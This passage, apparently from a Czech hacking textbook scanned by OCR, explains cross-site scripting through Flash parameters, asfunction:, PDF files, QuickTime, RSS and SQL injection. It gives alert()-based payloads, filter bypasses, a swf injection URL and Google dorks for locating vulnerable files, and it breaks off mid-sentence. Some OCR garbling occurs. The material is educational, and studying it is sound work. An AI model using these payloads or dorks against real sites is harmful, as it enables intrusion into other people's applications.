existuje nékolik variant mozného Gtoku a tak na se né pojd'me podivat pékné
po potadku. Nejprve si ale diagramem znazornime postup, ktery je stejny
u vsech téchto typt ttoku.

[ Vstup zadany Gto¢nikem ]

FlashVars, LoadVars, URL Query,
SharedObject, XML.load, Ul form, ...

getURL(), URLRequest(),
navigateToURLY(), fscommand(), ...

Zobrazeni ve webovém
browseru uzivatele

Diagram znéazornuje situaci, kdy flashovy objekt na svém
vstupu ocekava néjaké hodnoty. Ty je po té schopen nacist nékterou ze
svych funkci a ptedat dal pomoci funkci jinych. V zavéru jsou data pfedana
ke zpracovani webovému prohlize¢i. Pokud flashova aplikace pouziva tento
zpusob pfedavani dat a neobsahuje Zzadné kontrolni mechanismy, které by
ovetily data pochézejici z uzivatelskych vstupti pfedtim, nez je odesle na
vystup, mizeme tak docilit spusténi naseho kddu pomoci cizi flash animace.
Mezi funkce, které nacitaji data z externiho umisténi, a které bychom méli
vzdy fadné zkontrolovat patfi naptiklad ty z tabulky 26.
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Tabulka 26 - Nékteré z funkci Action Scriptu, které mohou nacist uto¢ny vstup

loadvariables ()
navigateToURL ()

getURL ()

URLRequest ()

loadMovie ()

loadMovieNum ()
FScrollPane.loadScrollContent (
LoadVars.load

LoadVars.send

XML.load ()

LoadVars ()

Sound. loadSound ()
NetStream.play ()
Flash.external.ExternalInterface.call ()
htmlText

FlashVars

Hodnoty, které ovliviiuji ¢innost swf mohou byt nalitiny
z externich soubort funkci loadVars, jak ukazuje vypis 96. Proménné je také
mozné piedavat ptimo z HTML dokumentu jako parametry vkladaného
objektu v obsahu tagu object nebo embed, coz ukazuje vypis 97, nebo
prostiednictvim GET parametri v URI béhem piimého odkazovani na swf
objekt. Tuto posledni metodu pfedani parametri ukazuje vypis 98.

Vypis 96 - Nacéteni hodnot parametri funkci LoadVars

parametr = new LoadVars();
parametr.load ("http://www.hackingvpraxi.cz/text.txt");

Vypis 97 - Ukazka vioZeni paramteru k swf objektu

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1250">
<title></title>
</head>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
width="730" height="90">
<param name="movie" value="test.swf">
<param name="flashvars" value="clickTAG=http://www.hackingvpraxi.cz">
<embed src="test.swf" width="730" height="90"
flashvars="clickTAG=http://www.hackingvpraxi.cz"
type="application/x-shockwave-flash">
</object>
</body>
</html>

Vypis 98 - Ukazka predani parametru protiednictvim GET poZadavku

http://www.hackingvpraxi.cz/test.swf?clickTAG=http://www.hackingvpraxi.cz
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Proménné piedavané z HTML dokumentu nebo
prostfednictvim GET pozadavku se na strané flashové aplikace nacitaji
prosttednictvim flashVars. V Action Scriptu 2 je to velice jednoduché,
protoze jsou vsechny tyto proménné dostupné pod stejnym nazvem na rootu.
V Action Scriptu 3 se musi tyto proménné nejprve explicitné inicializovat.

Reknéme, 7e proménna clickTAG, kterou jsme v piedchozich
prikladech pfedavali, ma za tkol definovat webovou stranku, na kterou
ptejde webovy prohlize¢ po kliknuti na flashovy objekt. V' Action Scriptu 2
bychom toto zafidili jednoduchym kédem z vypisu 99, ktery vyuziva pro
prechod na definovanou webovou stranku funkci getURL().

Vypis 99 - Pfechod na webovou stranku prfedanou parametrem v Action Scriptu 2

getURL (_root.clickTAG) ;

Uvedeny piiklad neni bezchybny, ale pfesto se s nim mizete
velmi casto setkat. Vzhledem k tomu, Ze prohlize¢ ptejde po kliknuti bez
jakékoliv kontroly na stranku, ktera ji byla pfedéna prostiednictvim
parametru, mize utocnik snadno ptedat také svij skript prostfednictvim
pseudoprotokolu javascript: viz. vypis 100.

Vypis 100 - Ukdzka utocného skriptu, ktery je pfedan v proménné clickthru

http://www.hackingvpraxi.cz/test.swf?clickTAG=javascript:alert('XSS"');

Flashovi vyvojati proto Casto kontroluji, zda vstup skutecné
obsahuje v prvnich znacich pfedané hodnoty protokol HTTP. Stale je ale
mozné vyuzit tyto flashe k presmérovani uzivatell nebo se zdmérem
odeslani nebezpe¢ného pozadavku viz. utoky CSRF. Pokud ale vyvojafi
navic uvedou jako druhy parametr funkce getURL parametr _blank, jak
ukazuje vypis 101, nebude v Internet Exploreru mozné JavaScript vibec
spustit. Internet Explorer 8.0 zavadi také dal$i ochranu, ktera nepovoluje
piistup k DOM dokumentu prostiednictvim takto ptredané direktivy
javascript:. Neni v ném tedy mozné pfistupovat k obsahu cookies a ostatnim
vlastnostem dokumentu.

Vypis 101 - Zamezeni pristupu ke cookies a znemoznéni JS v IE

getURL (_root.clickTAG, "_blank")

Popsany ttok vyuzivajici proménné clickTAG jsem zvolil
zamérng, protoze podobny kod vkladaly automaticky pfi zalozeni nového
projektu nékteré vyvojaiské nastroje. Na internetu se tak vyskytovaly a je§té
stale vyskytuji statisice flashovych animaci, které jsou skrz tuto proménnou
zneuzitelné. Sami je mizete jednoduse nalézt na Googlu vyhledanim fraze
z vypisu 102.
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Vypis 102 - Frdze pro Google vyhledavajici potencialné nezabezpecené flashe

file:swf inurl:clickTAG

Jiné vyvojaiské nastroje vkladaly automaticky podobné proménné a nez
doslo k napraveé, vyskytovalo se na webu jiz desitky milioni webovych
aplikaci, které byly nachylné na utoky pravé skrz tyto proménné. A¢ svého
Casu bylo na Internetu zvefejnéno mnoho upozornéni, aby webmasteti
ptekontrolovali bezpecnost flashovych objektl, které vystavuji na svych
strankéch, stéle je velké mnozstvi z nich na utoky tohoto druhu nachylnych.
V tabulce 27 uvadim soupis nékterych ndstroji pouzivanych vyvojaii ke
tvorbé flashovych animaci, o nichZ je znamo, Ze ve svych starSich verzich
vkladaly tyto proménné pfi zalozeni projektu do vysledného kodu. Soucasné
v tabulce uvadim také zranitelné parametry a vyhledavaci fetézec, pomoci
kterého lze v nich vzniklé animace vyhledat na webu.

Tabulka 27 - Soupis nékolika aplikaci, které vytvarely nezabezpecené animace

Adobe Flash

Parametr: clickTAG

Pouziti: animace.swf?clickTAG=javascript:alert('XSS"')

Google: filetype:swf inurl:clickTAG

Adobe Dreamweaver a Contribute

Parametr: skinName

Pouziti: animace.swf?skinName=asfunction:getURL, javascript:alert('XSS')

Google: filetype:swf inurl:skinName

Adobe Acrobat Connect / Macromedia Dreamweaver

Parametr: baseurl

PouZiti: main.swf?baseurl=asfunction:getURL, javascript:alert('XSsS')//

Google: filetype:swf inurl:main.swf baseurl

InfoSoft Fusion Charts

Parametr: dataURL

Pouziti: animace.swf?debugMode=1&dataURL=%27%3E%3Cimg+src%3D%22http%3A//
www.hackingvpraxi.cz/test.swf%3F.jpg%22%3E

Google: filetype:swf inurl:skinName

Techsmith Camtasia

Parametr: csPreloader

Pouziti: animace.swf?csPreloader=http://www.hackingvpraxi.cz/test.swf%3F

Google: filetype:swf inurl:csPreloader

Autodemo

Parametr: onend v souborech control.swf

Pouziti: control.swf?onend=javascript:alert('XSsS')//

Google: filetype:swf inurl:control.swf

Tagcloud.swf

Pouziti: tagcloud.swf?mode=tags&tagcloud=<tags><athref='javascript:
alert ("XSS") '+style='font-size:+40pt'>click me</a></tags>

Google: filetype:swf inurl:tagcloud.swf

e .

Ostatni p pecené flashové

Parametr: url, targeturl, onclick, clickthru, target, targetAS
Google: filetype:swf inurl:targeturl...
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Cross-Site Flashing

Vratme se nyni na chvili k atoéné animaci, kterou jsme
vytvofili pomoci nastrojt MTASC a SWFMILL a pokusme se ji vyuzit jesté
k dal$imu typu dtokt. Ve flashi existuji funkce loadMovie()
a loadMovieNum(), které umoziiuji naéist a zobrazit externi swf soubor.
Pokud tedy narazite na flashovou animaci, ktera v hodnoté parametru nacita
soubor swf, jak ukazuji ve vypise 103, uréité stoji za provéfeni, zda se
nepodafi zménou hodnoty tohoto parametru podvrhnout cestu k nasemu
utoénému swf souboru a tim jej do aplikace injektovat.

Vypis 103 - Vstup souboru swf v hodnoté pfeddavaného parametru

animace.swf?movie=film.swf
animace.swf?movie=http://www.hackingvpraxi.cz/xss.swf

Tato metoda zneuziti flash objektu se spravné oznacuje jako
Cross-Site Flashing neboli XSF a da se zneuzit i k jinym G¢eltim, neZ jen ke
spusténi naseho skriptu. Podafi-li se nam naptiklad podstr¢it timto zpisobem
prihlasovaci formulaf vytvofeny ve flashi, do flashové aplikace umisténé na
webu, miZe tak zaznamenavat autentifikaéni idaje uZzivateli.

Uvedenymi moznostmi, kterymi je mozné na flash aplikace
zautocit, ov§em jejich vycet zdaleka nekonéi. Adobe Flash Player, ktery se
k zobrazovani vlozenych flashovych animaci ve webovych prohlize¢ich
pouziva, ale s kazdou svou nové vydanou verzi ¢im dal tim Iépe chrani
uzivatele pfed utoky podobnych typl. Stavad se proto stale obtizné&jsi
pristoupit k DOM dokumentu, nebo nacist vstup z externiho zdroje. Tvurci
flashovych aplikaci a webovych aplikaci navic dostali k dispozici objekt
security' s moznosti nékolika bezpegnostnich voleb. Najdete je v tabulce 28.

Tabulka 28 - Bezpeénostni nastaveni dostupné vyvojaiim a webmasterum

allowDomain

L3 SWF soubor povoluje pfistup ke svym proménnym a ostatnim
*.hackingvpraxi.cz objektim ostatnim flashovym aplikacim z uvedenych domén.
allowScriptAccess
always Povoli spudténi javascriptu z jakéhokoliv swf souboru
sameDomain Povoli spudténi JavaScriptu pouze v pfipadé,
ze swf soubor pochazi ze stejné domény, jako je HTML
soubor, v némz je flash umistén (defaultni nastaveni) .
Never Zakaze jakékoliv pouziti JavaScriptu ze swf souboru

! http://help.adobe.com/cs_CZ/AS3LCR/Flash_10.0/flash/system/Security.html
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allowNetworking

all SWF souboru je povleno pouziti v3ech dostupnych metod pro
komunikaci s vnéjsSim prostredi.
internal P¥i pouziti tohoto nastaveni jsou zablokovany funkce

getURL, MovieClip.getURL, fscomand(),
Externallnterface.call() pro pristup k webovému browseru.
Ostatni funkce zlUstavaji povoleny.

none Kromé& vy3e uvedenych sou zablokovany i v3echny
nasledujici komunikacéni funkce
XML.load, XML.send, XML.sendAndLoad, LoadVars.load(),
LoadVars.send, LoadVars.sendAndLoad, loadVariables,
loadVariablesNum, MovieClip.loadVariables,
NetConnection.connect, NetStream.play, loadMovie,
loadMovieNum, MovieClip.loadMovie,
MovieClipLoader.loadClip, Sound.loadSound,
LocalConnection.connect, LocalConnection.send,
SharedObject.getLocal, SharedObject.getRemote,
FileReference.upload, FileReference.download,
System.security.loadPolicyFile, XMLSocket.connect

allowFullScreen

true Méd celé obrazovky je povolen
false Méd celé obrazovky je zakazan

Uvedena nastaveni mizeme zahrnout piimo do koédu animace,
nebo je mizeme piedavat v podobé proménnych, nebo pouzitim XML
souboru crossdomain.xml, ktery musi byt umistén v kofenovém adresafi
webu. Maji-li mezi sebou komunikovat dva SWF soubory, je dileZité, aby
méli vzédjemné nastavend patiicna opravnéni. Pfipad, kdy jsou jejich hodnoty
zadavany jako parametry uvnitt tagh objekt a embed ukazuje vypis 104.

Vypis 104 - Ukdzka pouZiti bezpe¢nostnich nastaveni

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=windows-1250">
<title></title>
</head>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
width="730" height="90">
<param name: ovie" value="test.swf">
<param name llowScriptAccess" value="sameDomain">
<param name="allowNetworking" value="none">
<embed src="test.swf" width="730" height="90"
allowScriptAccess="sameDomain" allowNetworking="none"
type="application/x-shockwave-flash">
</object>
</body>
</html>
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asfunction

Aby toho nebylo malo, zavadi Flash jeste¢ dalsi pseudoprotokol
asfunction:, pomoci kterého je mozné spoustét vnitini funkce flashové
aplikace. Ve vypisu 105 se miZete podivat na jeho pouZiti.

Vypis 105 - Pouziti pseudoprotokolu asfunction:

asfunction:funkce, parametry

Pokud bychom s vyuzitim direktivy asfunction: chtéli spustit kod
JavaScriptu, mohli bychom zavolat vnitini funkci flashe getURL, které
bychom jako parametr pfedali URL ve tvaru direktivy javascript:. Vysledek
spusténi JavaScriptu pomoci direktivy asfunction: uvadim ve vypise 106.

Vypis 106 - VyuZiti pseudoprotokolu asfunction: ke spusténi JavaScriptu

asfunction:getURL, javascript:alert('XSS')

Pouziti direktivy asfunction: je v novéjsich verzich Flash Playeru
omezeno pouze na prvky pro zobrazeni textu s html formatovanim. Témi
jsou ve flashi prvky textField a textArea. Umoziuji zobrazit text
naformatovany pomoci béznych HTML tagl véetné vlozenych obrazkl
a odkazi. Predstavte si nyni kod z vypisu 107, ve kterém je zobrazovany text
nacitany z proménné obsahHTML, ktera je dostupna na rootu. Skute¢nost, Ze
je jakakoliv pouzita proménna dostupna piimo nebo v ramci objektd _root,
_global a _level0, nam napovi, Zze takovou proménnou miZeme naplnit
pomoci flashVars.

Vypis 107 - Ukazka zranitelného kédu s prvkem textField

this.createTextField("oblast", this.getNextHighestDepth(), 10, 10, 100, 100);
oblast.html = true;
oblast.htmlText = root.obsahHTML;

V ramci tohoto obsahu muiZzeme vlozit odkaz sméfujici na
direktivu javascript: nebo asfunction:. Ukazky riznych takovychto odkazi
si miizete prohlédnout v tabulce 29.
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Tabulka 29 - Ukazka odkazu, které muZeme vloZit do textField ‘

Primé spusténi vioZzeného skriptu

animace.swf?obsahHTML=<a href="javascript:alert ('XSS')">

Spusténi JavaScriptu pres asfunction

animace.swf?obsahHTML=<a href="asfunction:getURL, javascript:alert('XSS')">
Spusténi verejné funkce SWF

animace.swf?obsahHTML=<a href='asfunction: root.objekt.funkce, parametry'>
Spusténi vestavéné funk

animace.swf?obsahHTML=

<a href='asfunction:System.Security.allowDomain, *.hackingvpraxi.cz' >

Do poli textField a textArea miZzeme vkladat samoziejmé i jiné
tagy. Potencialné nebezpeény je také prvek <img=>, ktery mize ve flashové
aplikaci obsahovat jednak obrazky, ale také dal$i swf animace. Zkusime tedy
timto tagem nacist flashovy objekt, ktery jsme si vytvofili na zacatku této
kapitoly. Pokud si ov§em vzpomeneme na skute¢nost, ze se od osmé verze
Flashe uplatiiuji omezeni AllowScriptAccess, nebudeme mit moZnost spustit
nas kod JavaScriptu ve flashi, ktery je nacten v cizi doméné. Nic ndm ovSem
nebrani pfekompilovat opétovné nas .as soubor pomoci MTASC, jako by byl
vytvofen ve verzi 6. V aplikaci MTASC je pro tuto moznost dostupny
ptepina¢ -version. Novou kompilaci proto tentokrat spustime pifkazem
S parametry, ktery uvadim ve vypisu 108.

Vypis 108 - Spusténi kompilace Action Scriptu ve verzi 7

mtasc -version 6 -swf xss.swf -main -header 1:1:1 xss.as

Pokud vloZzime do tagu <img> odkaz na nové piekompilovanou
verzi swf souboru, tak jak uvadim ve vypise 109, mélo by jiz ke spusténi
vlozeného JavaScriptu dojit.

Vypis 109 - PouzZiti <img> k nacteni externiho swf souboru s kédem JavaScriptu

animace.swf?0bsahHTML=<img src="http://www.hackingvpraxi.cz/xss.swf">

Programatofi Action Scriptu obcas implementuji kontrolni
filtry, které kontroluji pfiponu nacitanych soubort. O¢ekava-li Action Script
na vstupu napiiklad jpg obrazek, mizeme filtr obejit bypassem z vypisu 110.

Vypis 110 - Bypass pro filtr kontrolujici pfiponu nacitaného souboru

animace.swf?image=javascript:alert ('XSS')//.jpg
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Stejné kontrolni mechanismy pouziva ke kontrole i samotny
Flash. Za normalnich okolnosti by nebylo mozné vlozit do tagu <img>
direktivy javascript: nebo asfunction: piimo. S pouzitim stejného bypassu se
nam vSak spusténi vlozeného kodu podaii. Priklady uvadim ve vypisu 111.

Vypis 111 - VloZeni direktiv javascript: a asfunction: do tagu <img>

animace.swf?obsahHTML=<img src="javascript:alert('XSS"')//.jpg">
animace.swf?obsahHTML=
<img src="asfunction:getURL, javascript:alert('XSS')//.jpg">

ActionScript Message Format

Flashova animace ve formatu SWF casto také nacita externi
videosoubory FLV. Ty mohou obsahovat nejen vlozené audio a video, ale
také metadata ve formatu AMF (ActionScript Message Format), ktera
popisuji napiiklad vysku a $iiku videa, jeho videorate nebo délku. Pokud
SWF piehrava¢ multimedialnich soubor FLV odesila webové strance
informace ziskané z téchto metadat, miize uto¢nik propasovat sviij kod praveé
jejich prepsanim v nékterém z editort FLV.

RS

o [NUMEER -

ok |[ cance

Podobné jako u metadat ve FLV souborech, je mozné protlacit nas
kod také skrz ID tagy v souborech MP3. Na webu se nachazi mnoho
prehravaci tohoto hudebniho formatu, které jsou vytvofeny pravé ve Flashi.
Tyto piehravale Casto zobrazuji ID tagy Music Genre, Author, Title
anékteré dalsi u praveé prehravané skladby. Pokud se ndm podaii podstrcit
do takového ptehravace soubor mp3 s ID tagy, které obsahuji nas kod, mize
se nam opét podafit jej prostiednictvim flash prehravace spustit.
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Local Shared Objects

Ve spojeni s Flashem se musim alespon v kratkosti zminit také
0 LSO - Local Shared Objects, které jsou obdobou cookies webovych
prohlize¢i. V piipad¢ Flashe se proto témto objektim #ika také Flash
cookies. Tyto soubory narozdil od bé&znych cookies dokazi implicitng
uchovavat data az do velikosti 100kb (v pfipadé zmény v nastaveni mize byt
jejich velikost az neomezena) a nevztahuji se na né nastaveni platna pro
cookies ve webovém browseru. Majitelem LSO je totiz sam Flash player,
a nastaveni, ktera se jich tykaji, je mozné ucinit pouze skrz n¢j. Konkrétné se
tyto zmény provadi na webové strance Flash Player setting manageru®.

Flash Player Help

Website Storage Settings panel

[Sieives nastavenisrn Adsbed Fasn® Payer ]

Hotewo # @ TorDimbied gy
—

V systémech Windows Vista a Windows 7 naleznete soubory
s ulozenymi flash cookies v adresati:

C:\Users\...\AppData\Roaming\Macromedia\Flash Player\#SharedObjects

Pokud Vas zajima, jakou bezpecnostni hrozbu mohou tyto
soubory ptedstavovat, pak vézte, Ze mohou naptiklad uchovavat a sledovat
historii prochazenych webt, pokud jsou flashe vhodné rozmistény na webu.
Mohou zastavat funkci béznych cookies, pokud jsou tato zakdzana, nebo
mohou slouzit jako jejich zaloha a SWF mize cookies webového browseru
automaticky obnovit v pfipadé, Ze byly vymazany. Béhem hackingu Flash
objektt se proto miZe také obsah LSO stat cilem zajimavych utoku.

! http://www.macromedia.com/support/documentation/en/flashplayer/help/
settings_manager07.html
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Dekompilace SWF soubort

Abychom dokazali slabé misto ve flashové aplikaci nalézt,
musime si na konkrétni flashovy objekt diikladné posvitit. Casto jej bude
potiebovat dekompilovat, abychom mohli prozkoumat také jeho zdrojovy
kod. Hodné prace nam v hledani zranitelnych mist ve flashovych animacich
mohou usetfit i volné dostupné nastroje, které byly pravé za udelem
vyhledavani zranitelnych mist v SWF vytvotené. V tabulce 30 uvadim vycet
nekterych programil, které se nam mohou pro prizkum a vyhledani
zranitelnosti ve flash animacich hodit.

Tabulka 30 - Ndstroje pro dekompilaci a hledani zranitelnych mist ve falshi

Flare http://www.nowrap.de/flare.html
Dekompildtor SWF soubort. Action Script 3 neni podporovan.
SWEF Intruder http://www.owasp.org/index.php/Category:SWFIintruder

Nastroj hledani zranitelnych mist a testovani flash aplikaci. Nevyhodou je
nutnd instalace na vlastni webovy server, pouziti FireFoxu verze 2.X a pouze
nékterych verzi Flash Playeru

SWEF Scan http://www.hp.com/go/swfscan

Néstroj od HP pro hledéni zranitelnych mist v kédu SWE soubort. Dekompiluje
Action Script 2 i Action Script 3. K nalezenym slabym mistim v zabezpedeni
poda i rozsadhlé informace o doporucené néapravé.

ShowMyCode http://www.showmycode.com
On-line nastroj pro dekopilaci SWF soubort.

Pouziti nastroje SWF Scan si ukdzeme jeSt¢ na praktickém
piiklad¢. Programu pouze predame URL adresu SWF souboru, ktery chceme
otestovat a stiskneme tlacitko get. SWF Scan jiz sdm nacte soubor ze
zadaného umisténi a provede jeho dekompilaci. Nésledné automaticky oveéii
vyskyt zranitelnosti a poda informacni zpravu o vysledku. V naSem ptipadé
bylo nalezeno slabé
= . ———— misto v pouziti

TR funkce getURL, ktera
bez ovéfeni nacita

URL predané
proménnou click.

Vytvofenim
vhodného URL

dotazu pak uz snadno
vlozime a spustime
nas kod.
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Injektaz skriptu skrz plug-in Acrobat Reader

Zranitelnost, o které se na tomto misté zminim, je jiz né¢jakou dobu
opravena (konkrétné v Acrobat Readeru 7.0.8) a jeji zneuZiti hrozi tedy snad
uz jen na pocitacich, které nemaji nékolik let aplikovany patficné
bezpecnostni updaty a pouzivaji starsi verze prohlize¢li. Nicmén¢ protoze se
svého casu jednalo o velice zavaznou bezpecnostni hrozbu, zminim se o ni
alespori pro piedstavu, kde vSude se mohou XSS zranitelnosti vyskytnout.

Protoze jejim zneuzitim bylo mozné vyvolat spusténi JavaScriptu
na ruznych platformadch a srliznymi webovymi prohlizeci, byla tato
zranitelnost oznadovana jako UXSS nebo-li universalni XSS. Slo jen o to,
aby byl na cilovém zafizeni nainstalovan plug-in Acrobat Readeru. Samotny
utok vyuzival skutenosti, ze se plug-in snaZil zpracovat piedavané
parametry, a k provedeni utoku tak stadilo, aby uZivatel nasledoval odkaz
podobny tomu z vypisu 112.

Vypis 112 — Odkaz pro vyvolani UXSS v plug-inu Acrobat Reader

http://aplikace.cz/download/file.pdf#s=javascript:alert (”xss”);

Jakkoli mohla byt aplikace proti XSS zabezpedena, stacilo, aby hostovala
jeden jediny PDF soubor a stala se tak na tento typ utoku nachylna.
Vzhledem k tomu, Ze se uto¢na ¢ast odkazu nachazela az za kotvou (znakem

miizka), nepfenasela se tato ¢ast na server a nebylo proto mozné utok na
strané serveru odhalit a zablokovat.

Soucasné bylo mozné této zranitelnosti zneuzit také v kontextu lokalniho
filesystému. Odkazem sméfujicim na znamé lokalni PDF, viz. vypis 113, se
totiz skript spustil jako lokalni a mohl tak pfistupovat K jednotlivym
soubortim na disku uZivatele prostfednictvim protokolu file:.
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Vypis 113 — Odkaz pro vyvolani UXSS v kontextu lokalniho filesystému

file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.pdf
#s=javascript:alert ("XSS");

V dnesni dobé jiz prohlizee neumoziuji nasledovat odkazy
sméfujici na lokalni filesystém a i v piipadé, Ze se podaii spustit skript skrz
tento protokol, neumozni pfistupovat k soubortim z jinych adresait.

Injektaz skriptu skrz PDF soubory

Malokdo vi, ze PDF soubory kromé statického obsahu podporuji
také aktivni skriptovani. JavaScript spustény uvnité PDF dokumentu ale
nema pristup ke stromové struktute dokumentu DOM a tim mozZnosti XSS
utoku znacné potlacuje. 1 zde se ale v minulosti vyskytli zptisoby, jak tuto
prekazku obejit. Stacilo by, aby se kod spoustél skrz direktivu javascript:,
jak ukazuje vypis 114.

Vypis 114 — Spusténi JavaScriptu z PDF souboru

% PDF-1.1

1 0 obj

<<

/Typ /Katalog

/OpenAction <<

/S /URI

/ISMAP faledné

/URI (JavaScript:alert (document.domain)
>>

Vyvojaii Acrobatu byli ovSem proziravi a direktivu javascript:
dali na blacklist, aby nemohla byt v uvedeném kontextu pouZita. Ukéazalo se*
ale, ze v pfipad¢€ pouziti osmickového kddovani je mozné tuto bariéru obejit.
Misto direktivy javascript:, tak bylo mozné pouzit napiiklad néktery z tvara
uvedenych ve vypise 115.

Vypis 115 — Spusténi zakédovani direktivy javascript: v PDF souboru

/URI (JavaScript\72alert (document.domain) )
/URI (\112\101\126\101\123\103\122\111\120\124\72alert (document.domain)

! http://xs-sniper.com/blog/2010/09/06/pdf-xss-cve-2010-0190/
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Vyse uvedeny typ utoku byl ze strany Adobe jiz také oSetfen.
Uvadél jsem jej pro tiplnost a ziskani pfedstavy o moznych vektorech ttoku.
Pokud by vas dfive odhalené zranitelnosti Acrobat Readeru zajimaly
podrobngji, zkuste si pieist napiiklad prezentaci Malicious origami in PDF!
nebo Vulnerability Vectors in PDF? které se riiznym jeho zranitelnostem
podrobné¢ vénuji.

Vstup pres QuickTime

Posledni ze starSich a jiz opravenych typi XSS utoku, ktery si
predstavime, a ktery svého casu doznal zna¢ného rozsifeni, je zneuziti
multimedialniho pfehravade QuickTime. Tento ptehravaé integruje mimo
jiné svij plug-in do webovych prohlize¢li a pravé skrz néj bylo mozné
v prohlize¢i spustit vlastni kod. Prvni ze zranitelnych mist, 0 kterém se
zminim, se nachazi ve vlastnosti tohoto piehravace, ktera umoziuje
zobrazovat béhem piehravani skladby nebo filmu vloZeny text®. Soudasti
tohoto textu totiz mohly byt také rtizné odkazy protokold HTTP:, FTP:, ale
také javascript:. Utoénik pak mohl vytvofil text skladby podobng, jak
ukazuje vypis 116. Prvek ,,A“ v uvedeném vypisu nastavuje automatické
nacteni a prvek ,, T urcuje cil akce.

Vypis 116 — Text skladby pro QuickTime s injektovanym skriptem

A<javascript:alert ("hello from backdoor")> T<>

Po ptidéani takto ptipraveného
textu do multimedialniho souboru, [fe e vew w
naptiklad pomoci nastroje QuickTime
Pro, se text zahnizdi na misté, které

QuickTime Sample Movie ==

zobrazuje obrazek. / \
Druhé ze zranitelnych mist u

prehravace QuickTime, které N y

umoznovalo injektaz Gtoénych skripti, . "

se nachazelo vsouborech typu .Qtl QuickTime

nebo-li QuickTime Media Link*. Tyto |—— 7
soubory se XML strukturou slouzi |o—o @@ D

Z)

! http://www.security-labs.org/fred/docs/pacsec08/pacsec08-fr-gd-full.pdf
2 http://www.secniche.org/talks/eusecwest_2008_aks_oknock.pdf

3 http://www.gnucitizen.org/blog/backdooring-quicktime-movies/

4 http://www.gnucitizen.org/blog/backdooring-mp3-files/
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k popisu vlastnosti multimedidlnich souborii a mohou zahrnovat velké
mnozstvi riznych atributi. Zranitelnost vyuzivala ke spusténi skriptu
atributu qgtnext, ktera definuje umisténi nasledujici skladby a tuto¢nik ji mohl
nasmérovat na direktivu javascript:. Vlastni utok pak probihal pomoci
specialné ptipraveného .Qtl souboru, ktery uvadim ve vypisu 117.

Vypis 117 — Soubor .Qtl pro QuickTime s injektovanym skriptem

<?xml version="1.0">

<?quicktime type="application/x-quicktime-media-1link"?>

<embed src="http://example.com/path/to/real/song.mp3" autoplay="true"
gtnext="javascript:alert('hello from backdoor')"/>

Spusténi skriptu pres RSS

Nékteré webové portaly exportuji informace o svych novinkach
prostiednictvim RSS, aby tak wuzivatelim pfinesly vSechny dulezité
informace na jednom misté. UZivatelé si tak mohou tyto XML soubory,
které tvoii zdroj RSS, ptidat mezi své oblibené zdroje do RSS ¢&tecky.

Ukazku souboru tvoficiho zdroj RSS si mizete prohlédnout ve vypisu 118.

Vypis 118 - Ukadzka zdroje RSS

<?xml version="1.0" encoding="iso-8859-2"?2>
<rss version="0.91">
<channel>
<title>Hacking v praxi</title>
<link>http://www.hackingvpraxi.cz/</link>
<description>0 redlnych zranitelnostech</description>
<language>cs</language>
<image>
<title>Hacking v praxi</title>
<url>http://www.hackingvpraxi/obrazek.jpg</url>
<link>http://www.hackingvpraxi.cz</link>
<width>60</width>
<height>60</height>
<description>0 realnych zranitelnostech<description>
</image>
<item>
<title>Clanekl</title>
<link>http://www.hackingvpraxi.cz/clanekl.htm</link>
<description>Ukazkovy ¢lanek 1</description>
</item>
<item>
<title>Clanek2</title>
<link>http://www.hackingvpraxi.cz/clanek2.htm</link>
<description>Ukazkovy ¢lanek 2</description>
</item>
</channel>
</rss>
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V ptipadé, ze bychom nahradili odkazy vedouci na jednotlivé
¢lanky skriptem uvedenym direktivou javascript: (viz. vypis 119), mohli
bychom tak vyvolat jeho spusténi ve chvili, kdy uzivatel na takovy odkaz
klikne ve své RSS ¢teccee.

Vypis 119 - VloZeni JavaScriptu do zdroje RSS

<item>
<title>Clanek</title>
<link>javascript:alert ('XSS')</link>
<description>Ukédzkovy &lanek</description>
</item>

Samotné provedeni utoku je ale v tomto piipadé ponckud
doporuceny zdroj pridali do své ¢tecky RSS, nebo by jim ho musel vnutit
napiiklad béhem CSRF utoku.

SIXSS

Nyni vas asi zajima, co se pod tak zvlastnim nadpisem SIXSS
vlastn¢ skryva. A¢ se to mize zdat zprvu nepochopitelné, mizeme ve
webové aplikaci, ktera je jinak vici XSS tadné zabezpeCena, vyuzit ke
spusténi kodu zranitelnosti SQL injection. Jeji vyskyt ve webovych
aplikacich neni nijak vyjimec¢ny. Jiz jsem uvadél, ze vyvojaii Casto spravné
osetfi vkladani nebezpecnych znakl ostrych zavorek, na kterych je XSS
Casto zavislé, nebo nemusi mit uZivatelé vilbec moznost vkladat jakékoliv
vstupy. Pokud ale aplikace nacita zobrazované udaje z databaze a soucasné
je nachylna na SQL injection, nic nebrani uto¢nikovi v tom, aby pravé skrz
ni vlozil na stanky vystup v podobé skriptu a tim vyvolal XSS.

Udélame si kratky avod do SQL injection a ukazeme si jeho
zneuziti pro XSS na praktickém piikladu. Nejprve si najdeme potencialné
zranitelnou stranku, kterd predava parametry v URI. Jak takovy odkaz mtize
vypadat, uvadim ve vypisu 120.

Vypis 120 — Ukédzka odkazu, ktery muZe byt potencialné nachylny na SQL injection

http://www.example.cz/rec/recview.asp?co=2
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Nésledn¢ otestujeme zda je stranka nachylna na SQL injection.
Nejjednodussim zpisobem, jak to zjistit, je rozsitit hodnotu proménné
0 logicky vyraz, tak jak ukazuji odkazy zvypisu 121. Pokud prvni
zuvedenych odkaz(i vrati patfiény zaznam a druhy ne, pak je stranka

S nejvetsi pravdépodobnosti nachylna.

Vypis 121 — Otestovani proménné na pritomnost zranitelnosti SQL injection

http://www.example.cz/rec/recview.asp?co=2 and 1=1
http://www.example.cz/rec/recview.asp?co=2 and 1=0

Soubor Upravy Zebrazeni Historie Zalgiky Nastroje Mapoyda Soubor Upravy Zebrazeni Historie Zalgiky Nastroje Mapoyida

’@'C‘ D% -

@vc D% @ -(Omiy-

0O mp-.lfwww%;..mzmmmmm:n

dopada na prozatim stéle jesté
trodnou

# (O TorDisabled ’:)‘i

Nyni nebude od véci si fici par slov o tom, co se to snaSim
vstupem stalo na stran¢ serveru. Pochopeni SQL injection ovSem vyzaduje
alespont zékladni znalost programovani v SQL. Reknéme, Ze na strané
webového serveru, pievezme hodnotu proménné php skript, ktery ji bez
jakékoliv kontroly pouzije pro vytvoreni SQL dotazu. PHP skript by mohl
